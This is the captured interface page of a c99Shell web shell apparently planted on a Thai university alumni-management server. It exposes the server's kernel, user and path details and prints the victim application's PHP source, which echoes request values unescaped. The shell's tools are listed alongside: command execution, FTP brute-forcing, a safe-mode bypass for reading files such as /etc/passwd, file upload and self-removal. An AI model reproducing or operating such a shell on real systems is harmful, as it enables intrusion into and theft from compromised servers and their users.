!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editalumni_3.php (7.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
include_once "../link/function.php";
include_once 
"../class/clshiswork.php";        
$oHw = new HisWork($oC1);    
$oHw2 = new HisWork($oC1);    
?>
<script language="JavaScript1.2">    
            function checkFormat(){
                    if(document.ps.companyNameT.value=="" && document.ps.companyNameE.value==""){
                            alert("กรุณากรอกชื่อหน่วยงาน !");
                            return false;
                    }
                    if(document.ps.companyAddr.value==""){
                            alert("กรุณากรอกที่อยู่ของหน่วยงาน!");
                            return false;
                    }
                    if(document.ps.companyPosition.value==""){
                            alert("กรุณากรอกตำแหน่ง!");
                            return false;
                    }
                if(document.ps.companyAdmidPosYear.value==""){
                            alert("กรุณากรอกปีที่เข้ารับตำแหน่ง!");
                            return false;
                    }
            }
</script>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="" border="0" align="center" cellpadding="0" cellspacing="1">
    <tr>
        <td width="740">
        <label>
    <div align="center">
    <?
          $oHw2
->SearchByKey($seqId);
          
$oHw2->GetRecord();
    
?>
          <table width="740" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
              <td width="740" colspan="4"><br>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>" align="center">
                        <tr>
                        <td width="740" height="22" colspan="4" align="center"><table width="602" border="1" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>">
                         <tr> 
                        <td align="left" colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ชื่อหน่วยงาน (ภาษาไทย)</font></td>
                        <td align="left" width="445" height="22" colspan="4" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                          <input type="text" name="companyNameT"  value="<? echo $oHw2->companyNameT;?>"  size="70" >
                          </font></td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4"  height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ชื่อหน่วยงาน (ภาษาอังกฤษ)</font></td>
                    <td align="left" colspan="4" height="22" >  <input type="text" name="companyNameE"  value="<? echo $oHw2->companyNameE;?>"  size="70" >
                    </td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ที่อยู่ของหน่วยงาน</font></td>
                    <td align="left" colspan="4" height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">  <input type="text" name="companyAddr"  value="<? echo $oHw2->companyAddr;?>"  size="70" ></td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4" height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ตำแหน่ง</font></td>
                    <td align="left" colspan="4" height="22" >  <input type="text" name="companyPosition"  value="<? echo $oHw2->companyPosition;?>"  size="40" ></td>
                  </tr>
                  <tr> 
                    <td align="left" colspan="4"  height="22"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">ปีที่เข้ารับตำแหน่ง</font></td>
                    <td align="left" colspan="4"  height="22"bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> <input type="text" name="companyAdmidPosYear"  value="<? echo $oHw2->companyAdmidPosYear;?>"  size="10" >
                      </td>
                  </tr>
                </table>
                <br>            <input type="submit" name="add" value="แก้ไขข้อมูล" onClick="return checkFormat()">
                                    <input type="reset" name="clear" value="ลบข้อมูล">
                                    <input type="button" name="cancel" value="ยกเลิก" >
                                    <input type="hidden" name="seqId" value="<? echo $seqId?>">
                                    <input type="hidden" name="method" value="<? echo $method?>">
                                    <input type="hidden" name="alumniId" value="<?php echo $alumniId;?>">
                                <input type="hidden" name="status" value="<?php echo $status;?>">    
<br><br>
                <table width="740" border="1" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS['COLOR_BORDER_TABLE_1'];?>">
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_2'];?>"> 
                    <td width="125"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ปีที่เข้ารับตำแหน่ง</strong></font></div></td>
                    <td width="246"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ชื่อตำแหน่ง</strong></font></div></td>
                    <td width="280"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ชื่อหน่วยงาน</strong></font></div></td>
                    <td width="40"  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>แก้ไข</strong></font></div></td>
                    <td width="35" height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_1'];?>" size="2" face="MS Sans Serif"><strong>ลบ</strong></font></div></td>
                  </tr>
<?
                    $oHw
->RSHisWorkByAlumni($alumniId);
                    while(
$oHw->GetRecord())
                    {
                                if((
$i%2) == 0)
                                      echo 
"<tr>";
                                else
                                      echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                    <td  height="20"  nowrap="nowrap"><div align="center"><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2" face="MS Sans Serif"><? echo $oHw->companyAdmidPosYear?></font></div></td>
                    <td  height="20"  nowrap="nowrap"><div align="left"><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2" face="MS Sans Serif"><? echo $oHw->companyPosition?></font></div></td>
                    <td   height="20"  nowrap="nowrap"><div align="left"><font color="<?php echo $GLOBALS['COLOR_FONT_4'];?>" size="2" face="MS Sans Serif"><? if($oHw->companyNameE == "") { echo $oHw->companyNameT; } else { echo $oHw->companyNameE; }?></font></div></td>
                    <td  height="20"  nowrap="nowrap"><div align="center"><a href="mainalumni.php?alumniId=<?php echo $alumniId;?>&status=<? echo $status;?>&seqId=<? echo $oHw->seqId;?>&method=<? echo "edited";?> "><img src="../picture/editnew.gif" width="23" height="19" align="absmiddle" border="0"></a></div></td>
                    <td  height="20"  nowrap="nowrap"><div align="center"><a href="processalumni.php?alumniId=<? echo $alumniId;?>&status=<? echo $status;?>&seqId=<? echo $oHw->seqId;?>&method=<? echo "delete";?>"><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a></div></td>
                  </tr>
<?php
                            $i
++;
                    }
                    if((
$i) == 0){
?>
                  <tr> 
                    <td colspan="6" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                      ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                  </tr>
                  <?php
                        
}
?>
                </table>
                          </td>
                </tr>
                </table></td>
            </tr>
        </table>
                          
      </div>        
          <br><br><br><br>
        </td>
  </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0115 ]--